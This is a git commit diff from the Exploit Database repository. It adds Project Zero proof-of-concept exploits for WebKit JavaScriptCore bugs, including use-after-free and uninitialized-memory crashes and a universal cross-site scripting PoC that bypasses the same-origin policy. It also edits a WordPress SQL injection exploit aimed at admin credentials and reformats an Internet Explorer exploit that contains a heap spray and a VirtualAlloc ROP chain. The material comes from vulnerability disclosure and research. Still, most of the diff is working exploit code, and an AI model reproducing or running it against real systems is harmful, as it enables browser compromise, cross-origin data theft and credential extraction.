DB: 2017-07-26
6 new exploits WebKit JSC - 'DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry)' Incorrect Scope Register Handling WebKit JSC - 'arrayProtoFuncSplice' Uninitialized Memory Reference WebKit JSC - 'JSArray::appendMemcpy' Uninitialized Memory Copy WebKit JSC - 'ArgumentsEliminationPhase::transform' Incorrect LoadVarargs Handling WebKit JSC - 'ObjectPatternNode::appendEntry' Stack Use-After-Free WebKit JSC - 'JSObject::putInlineSlow and JSValue::putToPrimitive' Universal Cross-Site Scripting
This commit is contained in:
parent
e27b6b8408
commit
2351348891
9 changed files with 534 additions and 221 deletions
|
@ -5620,6 +5620,11 @@ id,file,description,date,author,platform,type,port
|
||||||
42365,platforms/multiple/dos/42365.html,"WebKit - 'WebCore::RenderObject' with Accessibility Enabled Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0
|
42365,platforms/multiple/dos/42365.html,"WebKit - 'WebCore::RenderObject' with Accessibility Enabled Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0
|
||||||
42366,platforms/multiple/dos/42366.html,"WebKit - 'WebCore::Node::getFlag' Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0
|
42366,platforms/multiple/dos/42366.html,"WebKit - 'WebCore::Node::getFlag' Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0
|
||||||
42367,platforms/multiple/dos/42367.html,"WebKit - 'WebCore::getCachedWrapper' Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0
|
42367,platforms/multiple/dos/42367.html,"WebKit - 'WebCore::getCachedWrapper' Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0
|
||||||
|
42373,platforms/multiple/dos/42373.html,"WebKit JSC - 'DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry)' Incorrect Scope Register Handling",2017-07-25,"Google Security Research",multiple,dos,0
|
||||||
|
42374,platforms/multiple/dos/42374.html,"WebKit JSC - 'arrayProtoFuncSplice' Uninitialized Memory Reference",2017-07-25,"Google Security Research",multiple,dos,0
|
||||||
|
42375,platforms/multiple/dos/42375.html,"WebKit JSC - 'JSArray::appendMemcpy' Uninitialized Memory Copy",2017-07-25,"Google Security Research",multiple,dos,0
|
||||||
|
42376,platforms/multiple/dos/42376.html,"WebKit JSC - 'ArgumentsEliminationPhase::transform' Incorrect LoadVarargs Handling",2017-07-25,"Google Security Research",multiple,dos,0
|
||||||
|
42377,platforms/multiple/dos/42377.txt,"WebKit JSC - 'ObjectPatternNode::appendEntry' Stack Use-After-Free",2017-07-25,"Google Security Research",multiple,dos,0
|
||||||
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
|
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
|
||||||
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
|
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
|
||||||
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
|
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
|
||||||
|
@ -38174,3 +38179,4 @@ id,file,description,date,author,platform,type,port
|
||||||
42359,platforms/php/webapps/42359.txt,"PaulShop - SQL Injection / Cross-Site Scripting",2017-07-24,"BTIS Team",php,webapps,0
|
42359,platforms/php/webapps/42359.txt,"PaulShop - SQL Injection / Cross-Site Scripting",2017-07-24,"BTIS Team",php,webapps,0
|
||||||
42371,platforms/json/webapps/42371.txt,"REDDOXX Appliance Build 2032 / 2.0.625 - Remote Command Execution",2017-07-24,"RedTeam Pentesting",json,webapps,0
|
42371,platforms/json/webapps/42371.txt,"REDDOXX Appliance Build 2032 / 2.0.625 - Remote Command Execution",2017-07-24,"RedTeam Pentesting",json,webapps,0
|
||||||
42372,platforms/json/webapps/42372.txt,"REDDOXX Appliance Build 2032 / 2.0.625 - Arbitrary File Disclosure",2017-07-24,"RedTeam Pentesting",json,webapps,0
|
42372,platforms/json/webapps/42372.txt,"REDDOXX Appliance Build 2032 / 2.0.625 - Arbitrary File Disclosure",2017-07-24,"RedTeam Pentesting",json,webapps,0
|
||||||
|
42378,platforms/multiple/webapps/42378.html,"WebKit JSC - 'JSObject::putInlineSlow and JSValue::putToPrimitive' Universal Cross-Site Scripting",2017-07-25,"Google Security Research",multiple,webapps,0
|
||||||
|
|
Can't render this file because it is too large.
|
27
platforms/multiple/dos/42373.html
Executable file
27
platforms/multiple/dos/42373.html
Executable file
|
@ -0,0 +1,27 @@
|
||||||
|
<!--
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1234
|
||||||
|
|
||||||
|
Here's a snippet of DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry).
|
||||||
|
|
||||||
|
void flush(InlineStackEntry* inlineStackEntry)
|
||||||
|
{
|
||||||
|
...
|
||||||
|
if (m_graph.needsScopeRegister())
|
||||||
|
flush(m_codeBlock->scopeRegister()); <<--- (a)
|
||||||
|
}
|
||||||
|
|
||||||
|
At (a), it should flush the scope register of |inlineStackEntry->m_codeBlock| instead of |m_codeBlock|. But it doesn't. As a result, the scope register of |inlineStackEntry->m_codeBlock| may have an incorrect offset in the stack layout phase.
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
-->
|
||||||
|
|
||||||
|
function f() {
|
||||||
|
(function () {
|
||||||
|
eval('1');
|
||||||
|
f();
|
||||||
|
}());
|
||||||
|
|
||||||
|
throw 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
f();
|
53
platforms/multiple/dos/42374.html
Executable file
53
platforms/multiple/dos/42374.html
Executable file
|
@ -0,0 +1,53 @@
|
||||||
|
<!--
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1234
|
||||||
|
|
||||||
|
Here's a snippet of arrayProtoFuncSplice.
|
||||||
|
|
||||||
|
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
|
||||||
|
{
|
||||||
|
...
|
||||||
|
|
||||||
|
result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount);
|
||||||
|
if (UNLIKELY(!result)) {
|
||||||
|
throwOutOfMemoryError(exec, scope);
|
||||||
|
return encodedJSValue();
|
||||||
|
}
|
||||||
|
|
||||||
|
// The result can have an ArrayStorage indexing type if we're having a bad time.
|
||||||
|
bool isArrayStorage = hasAnyArrayStorage(result->indexingType());
|
||||||
|
bool success = false;
|
||||||
|
if (UNLIKELY(isArrayStorage)) {
|
||||||
|
static const bool needToFillHolesManually = true;
|
||||||
|
success = copySplicedArrayElements<needToFillHolesManually>(exec, scope, result, thisObj, actualStart, actualDeleteCount);
|
||||||
|
} else {
|
||||||
|
ASSERT(hasUndecided(result->indexingType()));
|
||||||
|
static const bool needToFillHolesManually = false;
|
||||||
|
success = copySplicedArrayElements<needToFillHolesManually>(exec, scope, result, thisObj, actualStart, actualDeleteCount);
|
||||||
|
}
|
||||||
|
if (UNLIKELY(!success)) {
|
||||||
|
ASSERT(scope.exception());
|
||||||
|
return encodedJSValue();
|
||||||
|
}
|
||||||
|
...
|
||||||
|
}
|
||||||
|
|
||||||
|
|result| has uninitalized values. If a GC is triggered before those values get initalized, the garbage collector will refer the uninitialized values.
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
-->
|
||||||
|
|
||||||
|
function gc() {
|
||||||
|
for (let i = 0; i < 4; i++)
|
||||||
|
new ArrayBuffer(0x1000000);
|
||||||
|
}
|
||||||
|
|
||||||
|
Array.prototype.__defineGetter__(1000, () => 0);
|
||||||
|
|
||||||
|
for (let i = 0; i < 0x1000; i++)
|
||||||
|
new Array(0x10).fill([{}, {}, {}, {}]);
|
||||||
|
|
||||||
|
for (let i = 0; i < 0x1000; i++) {
|
||||||
|
let x = {length: 0x10};
|
||||||
|
x.__defineGetter__(0, () => gc());
|
||||||
|
Array.prototype.splice.call(x, 0);
|
||||||
|
}
|
74
platforms/multiple/dos/42375.html
Executable file
74
platforms/multiple/dos/42375.html
Executable file
|
@ -0,0 +1,74 @@
|
||||||
|
<!--
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1236
|
||||||
|
|
||||||
|
WebKit: JSC: JSArray::appendMemcpy uninitialized memory copy
|
||||||
|
|
||||||
|
Here's a snippet of JSArray::appendMemcpy.
|
||||||
|
|
||||||
|
bool JSArray::appendMemcpy(ExecState* exec, VM& vm, unsigned startIndex, JSC::JSArray* otherArray)
|
||||||
|
{
|
||||||
|
auto scope = DECLARE_THROW_SCOPE(vm);
|
||||||
|
|
||||||
|
if (!canFastCopy(vm, otherArray))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
IndexingType type = indexingType();
|
||||||
|
IndexingType copyType = mergeIndexingTypeForCopying(otherArray->indexingType());
|
||||||
|
if (type == ArrayWithUndecided && copyType != NonArray) {
|
||||||
|
if (copyType == ArrayWithInt32)
|
||||||
|
convertUndecidedToInt32(vm);
|
||||||
|
else if (copyType == ArrayWithDouble)
|
||||||
|
convertUndecidedToDouble(vm);
|
||||||
|
else if (copyType == ArrayWithContiguous)
|
||||||
|
convertUndecidedToContiguous(vm);
|
||||||
|
else {
|
||||||
|
ASSERT(copyType == ArrayWithUndecided);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
} else if (type != copyType)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
if (type == ArrayWithDouble)
|
||||||
|
memcpy(butterfly()->contiguousDouble().data() + startIndex, otherArray->butterfly()->contiguousDouble().data(), sizeof(JSValue) * otherLength);
|
||||||
|
else
|
||||||
|
memcpy(butterfly()->contiguous().data() + startIndex, otherArray->butterfly()->contiguous().data(), sizeof(JSValue) * otherLength);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
The method considers the case where |this|'s type is ArrayWithUndecided, but does not consider whether |otherArray|'s type is ArrayWithUndecided that may have uninitialized data.
|
||||||
|
So, when the memcpy function is called, |otherArray|'s uninitialized memory may be copied to |this| which has a type.
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
-->
|
||||||
|
|
||||||
|
function optNewArrayAndConcat() {
|
||||||
|
let a = [,,,,,,,,,];
|
||||||
|
return Array.prototype.concat.apply(a);
|
||||||
|
}
|
||||||
|
|
||||||
|
function main() {
|
||||||
|
Array.prototype.constructor = {
|
||||||
|
[Symbol.species]: function () {
|
||||||
|
return [{}];
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
gc();
|
||||||
|
|
||||||
|
for (let i = 0; i < 0x10000; i++) {
|
||||||
|
optNewArrayAndConcat().fill({});
|
||||||
|
}
|
||||||
|
|
||||||
|
gc();
|
||||||
|
|
||||||
|
for (let i = 0; i < 0x20000; i++) {
|
||||||
|
let res = optNewArrayAndConcat();
|
||||||
|
if (res[0])
|
||||||
|
print(res.toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
main();
|
68
platforms/multiple/dos/42376.html
Executable file
68
platforms/multiple/dos/42376.html
Executable file
|
@ -0,0 +1,68 @@
|
||||||
|
<!--
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1262
|
||||||
|
|
||||||
|
Here is a snippet of ArgumentsEliminationPhase::transform
|
||||||
|
case LoadVarargs:
|
||||||
|
...
|
||||||
|
if (candidate->op() == PhantomNewArrayWithSpread || candidate->op() == PhantomSpread) {
|
||||||
|
...
|
||||||
|
if (argumentCountIncludingThis <= varargsData->limit) {
|
||||||
|
storeArgumentCountIncludingThis(argumentCountIncludingThis);
|
||||||
|
// store arguments
|
||||||
|
...
|
||||||
|
}
|
||||||
|
|
||||||
|
node->remove();
|
||||||
|
node->origin.exitOK = canExit;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
Whether or not the "argumentCountIncludingThis <= varargsData->limit" condition is satisfied, it removes the |node| variable and exits the switch statement. So in this case the condition is not satisfied, the arguments object created by the following code(CreateDirectArguments in the PoC) may have uninitialized values and length.
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
-->
|
||||||
|
|
||||||
|
const kArgsLength = 0x101;
|
||||||
|
|
||||||
|
let buggy = null;
|
||||||
|
function inlineFunc() {
|
||||||
|
if (arguments.length != kArgsLength) {
|
||||||
|
buggy = arguments;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class ClassForInine extends inlineFunc {
|
||||||
|
}
|
||||||
|
|
||||||
|
function sleep(ms) {
|
||||||
|
let start = new Date();
|
||||||
|
while (new Date() - start < ms);
|
||||||
|
}
|
||||||
|
|
||||||
|
function main() {
|
||||||
|
let args = new Array(kArgsLength);
|
||||||
|
args.fill(333 + 1);
|
||||||
|
args = args.join(', ');
|
||||||
|
|
||||||
|
let opt = new Function(`(() => {
|
||||||
|
new ClassForInine(${args});
|
||||||
|
})();`);
|
||||||
|
|
||||||
|
for (let i = 0; i < 0x100000; i++) {
|
||||||
|
opt();
|
||||||
|
|
||||||
|
if (i === 0x3000)
|
||||||
|
sleep(1000);
|
||||||
|
|
||||||
|
if (buggy) {
|
||||||
|
print('buggy.length: ' + buggy.length);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (let i = 0, n = buggy.length; i < n; i++) {
|
||||||
|
print(buggy[i]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
main();
|
25
platforms/multiple/dos/42377.txt
Executable file
25
platforms/multiple/dos/42377.txt
Executable file
|
@ -0,0 +1,25 @@
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1256
|
||||||
|
|
||||||
|
Here's a snippet of ObjectPatternNode::appendEntry.
|
||||||
|
|
||||||
|
void appendEntry(const JSTokenLocation&, ExpressionNode* propertyExpression, DestructuringPatternNode* pattern, ExpressionNode* defaultValue, BindingType bindingType)
|
||||||
|
{
|
||||||
|
m_targetPatterns.append(Entry{ Identifier(), propertyExpression, false, pattern, defaultValue, bindingType });
|
||||||
|
}
|
||||||
|
|
||||||
|
Here's the definition of Entry.
|
||||||
|
|
||||||
|
struct Entry {
|
||||||
|
const Identifier& propertyName;
|
||||||
|
ExpressionNode* propertyExpression;
|
||||||
|
bool wasString;
|
||||||
|
DestructuringPatternNode* pattern;
|
||||||
|
ExpressionNode* defaultValue;
|
||||||
|
BindingType bindingType;
|
||||||
|
};
|
||||||
|
|
||||||
|
The Identifier object created by "Identifier()" is in the stack. So it will get freed in the end of the appendEntry method.
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
|
||||||
|
var {[a]: b, ...[]} = {};
|
58
platforms/multiple/webapps/42378.html
Executable file
58
platforms/multiple/webapps/42378.html
Executable file
|
@ -0,0 +1,58 @@
|
||||||
|
<!--
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1240
|
||||||
|
|
||||||
|
JSObject::putInlineSlow and JSValue::putToPrimitive use getPrototypeDirect instead of getPrototype to get an object's prototype. So JSDOMWindow::getPrototype which checks the Same Origin Policy is not called.
|
||||||
|
|
||||||
|
The PoC shows to call a setter of another origin's object.
|
||||||
|
|
||||||
|
PoC 1 - JSValue::putToPrimitive:
|
||||||
|
-->
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
let f = document.body.appendChild(document.createElement('iframe'));
|
||||||
|
let loc = f.contentWindow.location;
|
||||||
|
f.onload = () => {
|
||||||
|
let a = 1.2;
|
||||||
|
a.__proto__.__proto__ = f.contentWindow;
|
||||||
|
|
||||||
|
a['test'] = {toString: function () {
|
||||||
|
arguments.callee.caller.constructor('alert(location)')();
|
||||||
|
}};
|
||||||
|
};
|
||||||
|
f.src = 'data:text/html,' + `<iframe></iframe><script>
|
||||||
|
Object.prototype.__defineSetter__('test', v => {
|
||||||
|
'a' + v;
|
||||||
|
});
|
||||||
|
|
||||||
|
</scrip` + `t>`;
|
||||||
|
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
<!--
|
||||||
|
PoC 2 - JSObject::putInlineSlow:
|
||||||
|
<body>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
let f = document.body.appendChild(document.createElement('iframe'));
|
||||||
|
let loc = f.contentWindow.location;
|
||||||
|
f.onload = () => {
|
||||||
|
let a = {
|
||||||
|
__proto__: f.contentWindow
|
||||||
|
};
|
||||||
|
|
||||||
|
a['test'] = {toString: function () {
|
||||||
|
arguments.callee.caller.constructor('alert(location)')();
|
||||||
|
}};
|
||||||
|
};
|
||||||
|
f.src = 'data:text/html,' + `<iframe></iframe><script>
|
||||||
|
Object.prototype.__defineSetter__('test', v => {
|
||||||
|
'a' + v;
|
||||||
|
});
|
||||||
|
|
||||||
|
</scrip` + `t>`;
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
-->
|
|
@ -130,6 +130,8 @@ and subdate(curdate(), interval 9999
|
||||||
9999 DAY) union select 1,1,1,user_email,1,1,1 from wp_users where id=1
|
9999 DAY) union select 1,1,1,user_email,1,1,1 from wp_users where id=1
|
||||||
and subdate(curdate(), interval 9999
|
and subdate(curdate(), interval 9999
|
||||||
|
|
||||||
|
## E-DB NOTE: Try 999 days if 9999 doesn't work in your environment.
|
||||||
|
|
||||||
I wrote a PoC, to get automatically the password hash of the WordPress
|
I wrote a PoC, to get automatically the password hash of the WordPress
|
||||||
admin account:
|
admin account:
|
||||||
|
|
||||||
|
|
|
@ -34,219 +34,219 @@ Jid : Nsecurity@jabber.ru
|
||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<html>
|
<html>
|
||||||
<head>
|
<head>
|
||||||
<style>
|
<style>
|
||||||
.class1 { float: left; column-count: 5; }
|
.class1 { float: left; column-count: 5; }
|
||||||
.class2 { column-span: all; columns: 1px; }
|
.class2 { column-span: all; columns: 1px; }
|
||||||
table {border-spacing: 0px;}
|
table {border-spacing: 0px;}
|
||||||
</style>
|
</style>
|
||||||
<script>
|
<script>
|
||||||
|
|
||||||
var base_leaked_addr = "";
|
var base_leaked_addr = "";
|
||||||
|
|
||||||
function infoleak() {
|
function infoleak() {
|
||||||
|
|
||||||
var textarea = document.getElementById("textarea");
|
var textarea = document.getElementById("textarea");
|
||||||
var frame = document.createElement("iframe");
|
var frame = document.createElement("iframe");
|
||||||
|
|
||||||
textarea.appendChild(frame);
|
textarea.appendChild(frame);
|
||||||
frame.contentDocument.onreadystatechange = eventhandler;
|
frame.contentDocument.onreadystatechange = eventhandler;
|
||||||
|
|
||||||
form.reset();
|
form.reset();
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function eventhandler() {
|
function eventhandler() {
|
||||||
|
|
||||||
document.getElementById("textarea").defaultValue = "foo";
|
document.getElementById("textarea").defaultValue = "foo";
|
||||||
// Object replaced here
|
// Object replaced here
|
||||||
// one of the side allocations of the audio element
|
// one of the side allocations of the audio element
|
||||||
var audioElm = document.createElement("audio");
|
var audioElm = document.createElement("audio");
|
||||||
audioElm.src = "test.mp3";
|
audioElm.src = "test.mp3";
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function writeu(base, offs) {
|
function writeu(base, offs) {
|
||||||
|
|
||||||
var res = 0;
|
var res = 0;
|
||||||
if (base != 0) { res = base + offs }
|
if (base != 0) { res = base + offs }
|
||||||
else { res = offs }
|
else { res = offs }
|
||||||
res = res.toString(16);
|
res = res.toString(16);
|
||||||
while (res.length < 8) res = "0"+res;
|
while (res.length < 8) res = "0"+res;
|
||||||
return "%u"+res.substring(4,8)+"%u"+res.substring(0,4);
|
return "%u"+res.substring(4,8)+"%u"+res.substring(0,4);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function readu(value) {
|
function readu(value) {
|
||||||
|
|
||||||
var uc = escape(value);
|
var uc = escape(value);
|
||||||
var ucsplit = uc.split('%');
|
var ucsplit = uc.split('%');
|
||||||
var res = parseInt('0x' + ucsplit[2].replace('u', '') + ucsplit[1].replace('u', ''));
|
var res = parseInt('0x' + ucsplit[2].replace('u', '') + ucsplit[1].replace('u', ''));
|
||||||
return res;
|
return res;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function spray() {
|
function spray() {
|
||||||
|
|
||||||
// DEPS technique used here - avoid null bytes
|
// DEPS technique used here - avoid null bytes
|
||||||
|
|
||||||
var hso = document.createElement("div");
|
var hso = document.createElement("div");
|
||||||
base_leaked_addr = parseInt(base_leaked_addr,16);
|
base_leaked_addr = parseInt(base_leaked_addr,16);
|
||||||
|
|
||||||
var junk = unescape("%u0e0e%u0e0e");
|
var junk = unescape("%u0e0e%u0e0e");
|
||||||
while (junk.length < 0x1000) junk += junk;
|
while (junk.length < 0x1000) junk += junk;
|
||||||
|
|
||||||
|
|
||||||
var rop = unescape(
|
var rop = unescape(
|
||||||
writeu(base_leaked_addr,0x56341) +
|
writeu(base_leaked_addr,0x56341) +
|
||||||
writeu(base_leaked_addr,0x56341) +
|
writeu(base_leaked_addr,0x56341) +
|
||||||
writeu(base_leaked_addr,0x9b7c) +
|
writeu(base_leaked_addr,0x9b7c) +
|
||||||
writeu(0,0xffffffff) +
|
writeu(0,0xffffffff) +
|
||||||
writeu(base_leaked_addr,0x2a89e) +
|
writeu(base_leaked_addr,0x2a89e) +
|
||||||
writeu(0,0x41414141) +
|
writeu(0,0x41414141) +
|
||||||
writeu(base_leaked_addr,0x4e385) +
|
writeu(base_leaked_addr,0x4e385) +
|
||||||
writeu(0,0x41414141) +
|
writeu(0,0x41414141) +
|
||||||
writeu(base_leaked_addr,0x2030f) +
|
writeu(base_leaked_addr,0x2030f) +
|
||||||
writeu(base_leaked_addr,0x9b7c) +
|
writeu(base_leaked_addr,0x9b7c) +
|
||||||
writeu(0,0x41414141) +
|
writeu(0,0x41414141) +
|
||||||
writeu(0,0x41414141) +
|
writeu(0,0x41414141) +
|
||||||
writeu(0,0xf07645d5) +
|
writeu(0,0xf07645d5) +
|
||||||
writeu(base_leaked_addr,0x6e002) +
|
writeu(base_leaked_addr,0x6e002) +
|
||||||
writeu(0,0x41414141) +
|
writeu(0,0x41414141) +
|
||||||
writeu(base_leaked_addr,0xaebc) +
|
writeu(base_leaked_addr,0xaebc) +
|
||||||
writeu(base_leaked_addr,0x9b7c) +
|
writeu(base_leaked_addr,0x9b7c) +
|
||||||
writeu(0,0xffffffbf) +
|
writeu(0,0xffffffbf) +
|
||||||
writeu(base_leaked_addr,0x2a89e) +
|
writeu(base_leaked_addr,0x2a89e) +
|
||||||
writeu(0,0x41414141) +
|
writeu(0,0x41414141) +
|
||||||
writeu(base_leaked_addr,0x6361b) +
|
writeu(base_leaked_addr,0x6361b) +
|
||||||
writeu(base_leaked_addr,0x432cf) +
|
writeu(base_leaked_addr,0x432cf) +
|
||||||
writeu(0,0x41414141) +
|
writeu(0,0x41414141) +
|
||||||
writeu(0,0x41414141) +
|
writeu(0,0x41414141) +
|
||||||
writeu(base_leaked_addr,0x9b7c) +
|
writeu(base_leaked_addr,0x9b7c) +
|
||||||
writeu(base_leaked_addr,0x5cef1) +
|
writeu(base_leaked_addr,0x5cef1) +
|
||||||
writeu(base_leaked_addr,0x4177e) +
|
writeu(base_leaked_addr,0x4177e) +
|
||||||
writeu(base_leaked_addr,0x9b7c) +
|
writeu(base_leaked_addr,0x9b7c) +
|
||||||
writeu(base_leaked_addr,0x1244) +
|
writeu(base_leaked_addr,0x1244) +
|
||||||
writeu(base_leaked_addr,0xa819) +
|
writeu(base_leaked_addr,0xa819) +
|
||||||
writeu(0,0x41414141) +
|
writeu(0,0x41414141) +
|
||||||
writeu(base_leaked_addr,0x2720b) +
|
writeu(base_leaked_addr,0x2720b) +
|
||||||
"" );
|
"" );
|
||||||
|
|
||||||
/*
|
/*
|
||||||
|
|
||||||
Original VirtualAlloc ROP generated with mona.py - www.corelan.be
|
Original VirtualAlloc ROP generated with mona.py - www.corelan.be
|
||||||
Library used "propsys.dll", part of the Windows Search functionality (?)
|
Library used "propsys.dll", part of the Windows Search functionality (?)
|
||||||
and last updated Nov 2010. I think it's a good target for our needs.
|
and last updated Nov 2010. I think it's a good target for our needs.
|
||||||
Fixed to overcome the problem with MOV EAX,80004001 after the PUSHAD instruction
|
Fixed to overcome the problem with MOV EAX,80004001 after the PUSHAD instruction
|
||||||
|
|
||||||
"%u6341%u6af8" + // 0x6af86341 : ,# POP EBP # RETN [PROPSYS.dll]
|
"%u6341%u6af8" + // 0x6af86341 : ,# POP EBP # RETN [PROPSYS.dll]
|
||||||
"%u6341%u6af8" + // 0x6af86341 : ,# skip 4 bytes [PROPSYS.dll]
|
"%u6341%u6af8" + // 0x6af86341 : ,# skip 4 bytes [PROPSYS.dll]
|
||||||
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
|
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
|
||||||
"%uffff%uffff" + // 0xffffffff : ,# Value to negate, will become 0x00000001
|
"%uffff%uffff" + // 0xffffffff : ,# Value to negate, will become 0x00000001
|
||||||
"%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll]
|
"%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll]
|
||||||
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
||||||
"%ue385%u6af7" + // 0x6af7e385 : ,# PUSH EAX # ADD AL,5E # XOR EAX,EAX # POP EBX # POP EDI # POP EBP # RETN 0x08 [PROPSYS.dll]
|
"%ue385%u6af7" + // 0x6af7e385 : ,# PUSH EAX # ADD AL,5E # XOR EAX,EAX # POP EBX # POP EDI # POP EBP # RETN 0x08 [PROPSYS.dll]
|
||||||
"%u4141%u4141" + // 0x41414141 : ,# Filler (compensate)
|
"%u4141%u4141" + // 0x41414141 : ,# Filler (compensate)
|
||||||
"%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) --> changed to 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
|
"%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) --> changed to 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
|
||||||
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
|
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
|
||||||
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
||||||
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
||||||
"%u45d5%uf076" + // 0xf07645d5 : ,# put delta into eax (-> put 0x00001000 into edx)
|
"%u45d5%uf076" + // 0xf07645d5 : ,# put delta into eax (-> put 0x00001000 into edx)
|
||||||
"%ue002%u6af9" + // 0x6af9e002 : ,# ADD EAX,0F89CA2B # RETN [PROPSYS.dll]
|
"%ue002%u6af9" + // 0x6af9e002 : ,# ADD EAX,0F89CA2B # RETN [PROPSYS.dll]
|
||||||
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
||||||
"%uaebc%u6af3" + // 0x6af3aebc : ,# XCHG EAX,EDX # RETN [PROPSYS.dll]
|
"%uaebc%u6af3" + // 0x6af3aebc : ,# XCHG EAX,EDX # RETN [PROPSYS.dll]
|
||||||
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
|
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
|
||||||
"%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040
|
"%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040
|
||||||
"%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll]
|
"%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll]
|
||||||
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
||||||
"%u361b%u6af9" + // 0x6af9361b : ,# XCHG EAX,ECX # ADD DL,B # DEC ECX # RETN 0x08 [PROPSYS.dll]
|
"%u361b%u6af9" + // 0x6af9361b : ,# XCHG EAX,ECX # ADD DL,B # DEC ECX # RETN 0x08 [PROPSYS.dll]
|
||||||
"%u32cf%u6af7" + // 0x6af732cf : ,# POP EDI # RETN [PROPSYS.dll]
|
"%u32cf%u6af7" + // 0x6af732cf : ,# POP EDI # RETN [PROPSYS.dll]
|
||||||
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
||||||
